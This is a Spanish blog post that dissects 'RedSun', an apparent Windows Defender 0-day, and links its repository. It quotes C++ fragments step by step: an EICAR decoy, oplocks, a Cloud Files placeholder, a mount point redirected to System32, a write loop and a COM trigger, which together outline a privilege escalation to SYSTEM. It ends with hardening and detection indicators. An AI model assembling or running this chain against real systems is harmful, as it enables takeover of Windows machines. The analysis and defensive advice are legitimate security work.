RedSun: anatomía de un 0-day que convierte Defender en SYSTEM

El repositorio https://github.com/Nightmare-Eclipse/RedSun no es un proyecto académico ni una PoC incompleta. Es la materialización funcional de un 0-day en Windows Defender, algo que en teoría debería ser difícil incluso de reproducir sin acceso interno o reversing profundo. Y sin embargo, aquí está: 777 líneas de C++ que funcionan:

La pregunta obvia es: ¿cómo alguien llega hasta aquí? La respuesta no está en una única técnica, sino en la combinación de varias disciplinas: observación de comportamiento (cómo Defender trata archivos “no estándar”), reversing ligero de flujos (Cloud Files, AV scanning), abuso de primitivas existentes (oplocks, reparse points) y sobre todo: paciencia para encontrar una interacción inconsistente.

El 0-day en sí no es un buffer overflow ni una corrupción clásica. Es más incómodo que eso:
una inconsistencia lógica en cómo Defender maneja archivos tipo cloud (CfAPI) combinada con redirecciones de path.

Defender cree que está operando sobre un archivo legítimo en un contexto controlado. Pero en realidad, está escribiendo en otro sitio. Y lo hace con privilegios elevados.

Qué hace RedSun.cpp

Antes de meternos en código, merece la pena verlo desde arriba.

El .cpp implementa una pipeline bastante limpia:

  • Prepara un directorio temporal controlado
  • Crea un archivo malicioso “señuelo” (EICAR)
  • Lo convierte en un cloud file (Cloud Files API)
  • Controla el timing de acceso con oplocks
  • Redirige el path mediante reparse points
  • Provoca a Defender para que interactúe
  • Y deja que Defender escriba en System32

No hay magia negra. Solo una coreografía muy precisa.

El exploit empieza sin ruido:

WCHAR tempPath[MAX_PATH];
GetTempPathW(MAX_PATH, tempPath);
wcscat_s(tempPath, L"\\RedSun");

CreateDirectoryW(tempPath, NULL);
SetCurrentDirectoryW(tempPath);

Directo. Se crea un directorio en %TEMP% y se fija como working directory. Esto no es solo comodidad: es aislamiento total del contexto. Todo lo que pase a partir de aquí ocurre bajo control del atacante.

Luego sigue con el trigger de Defender. Aquí empieza la interacción real:

HANDLE hFile = CreateFileW(
    L"TieringEngineService.exe",
    GENERIC_WRITE,
    0,
    NULL,
    CREATE_ALWAYS,
    FILE_ATTRIBUTE_NORMAL,
    NULL);

DWORD written;
WriteFile(hFile, EICAR, sizeof(EICAR), &written, NULL);
CloseHandle(hFile);

El contenido EICAR garantiza que Defender va a reaccionar. No se intenta evadirlo. Se hace justo lo contrario: Se le obliga a actuar. 

En paralelo aparece un bloque NTAPI:

NtOpenDirectoryObject(&hDir, DIRECTORY_QUERY, &objAttr);

NtQueryDirectoryObject(
    hDir,
    buffer,
    sizeof(buffer),
    TRUE,
    FALSE,
    &context,
    &returnLength);

El código enumera objetos tipo: \Device\HarddiskVolumeShadowCopyX

Esto no es decorativo. Se está utilizando como una forma de medir el estado interno del sistema. No hay dependencia directa, pero sí una correlación temporal útil. Es una forma de no ir a ciegas.

oplocks — controlar cuándo ocurre todo

Aquí el exploit toma el control del timing:

HANDLE hFile = CreateFileW(
    L"TieringEngineService.exe",
    GENERIC_READ,
    FILE_SHARE_READ,
    NULL,
    OPEN_EXISTING,
    FILE_FLAG_OVERLAPPED,
    NULL);

DeviceIoControl(
    hFile,
    FSCTL_REQUEST_OPLOCK,
    NULL,
    0,
    NULL,
    0,
    &bytesReturned,
    &overlapped);

Un oplock permite interceptar accesos de otros procesos. En este contexto:

  • Defender intenta abrir el archivo
  • El oplock lo bloquea
  • El exploit decide cuándo continuar

Esto convierte una race condition en algo mucho más determinista.

Cloud Files API — el corazón del 0-day

Aquí está el punto clave del exploit:

CfRegisterSyncRoot(
    syncRootPath,
    &registration,
    &policies,
    CF_REGISTER_FLAG_NONE);

CfConnectSyncRoot(
    syncRootPath,
    &callbacks,
    context,
    CF_CONNECT_FLAG_NONE,
    &connectionKey);

El directorio pasa a ser un Sync Root, como OneDrive. Después:

CF_PLACEHOLDER_CREATE_INFO placeholder = {0};
placeholder.RelativeFileName = L"TieringEngineService.exe";

CfCreatePlaceholders(
    syncRootPath,
    &placeholder,
    1,
    CF_CREATE_FLAG_NONE,
    NULL);

El archivo ahora es un cloud file placeholder. Y aquí entra el bug: Defender no trata estos archivos igual que archivos normales.

Durante ciertas operaciones (scan, remediation), puede reescribir el archivo sin validar correctamente el path final.

Ahora se introduce la redirección:

CreateMountPoint(
    tempPath,
    L"\\??\\C:\\Windows\\System32");

A partir de aquí:

C:\Temp\RedSun → C:\Windows\System32

Cualquier operación sobre el directorio “fake” impacta en System32.

Después el código entra en bucle:

while (true)
{
    HANDLE h = CreateFileW(
        L"TieringEngineService.exe",
        GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0,
        NULL);

    if (h != INVALID_HANDLE_VALUE)
    {
        WriteFile(h, payload, payloadSize, &written, NULL);
        CloseHandle(h);
    }
}

Mientras tanto:

  • Defender detecta el EICAR
  • Intenta limpiar o reescribir
  • Interactúa con el archivo cloud
  • Pero el path ya está redirigido

En algún punto, Defender escribe… donde no debería. Y una vez que el binario cae en System32, el resto es trivial:

CoCreateInstance(
    CLSID_TieringEngine,
    NULL,
    CLSCTX_LOCAL_SERVER,
    IID_ITieringInterface,
    (void**)&pInterface);

O cualquier otro mecanismo que dispare ejecución privilegiada. El exploit ya ha ganado antes de llegar aquí.

Contramedidas

Este tipo de bug no se arregla con un parche trivial, porque no es un fallo aislado. Es una interacción entre subsistemas.

Aun así, hay varias líneas de defensa claras:

1. Endurecer Cloud Files API
Validar estrictamente rutas finales tras operaciones de hidratación/escritura.
Evitar que placeholders puedan resolverse a destinos inesperados.

2. Mitigar reparse point abuse
Restringir redirecciones hacia directorios sensibles (System32) en contextos privilegiados.
Especialmente cuando el proceso que escribe es un servicio del sistema.

3. Defender hardening
Asegurar que las operaciones de remediation:

  • No sigan reparse points peligrosos
  • Validen canonical paths
  • Operen en contextos aislados

4. Detección
Indicadores claros:

  • Uso de CfRegisterSyncRoot fuera de apps legítimas
  • Creación de placeholders + EICAR
  • Uso de oplocks en archivos sospechosos
  • Actividad en %TEMP% con reparse points hacia rutas críticas

5. Reducción de superficie
Deshabilitar o restringir Cloud Files API en entornos donde no sea necesaria.

Conclusiones

Después de leer RedSun de arriba abajo, la conclusión es incómoda. No es un exploit complejo. Es un exploit correcto. Y eso es peor porque demuestra que no necesitas romper nada si entiendes lo suficiente bien cómo encajan las piezas. Solo tienes que colocarlas… en el orden adecuado.

Comentarios

Publicar un comentario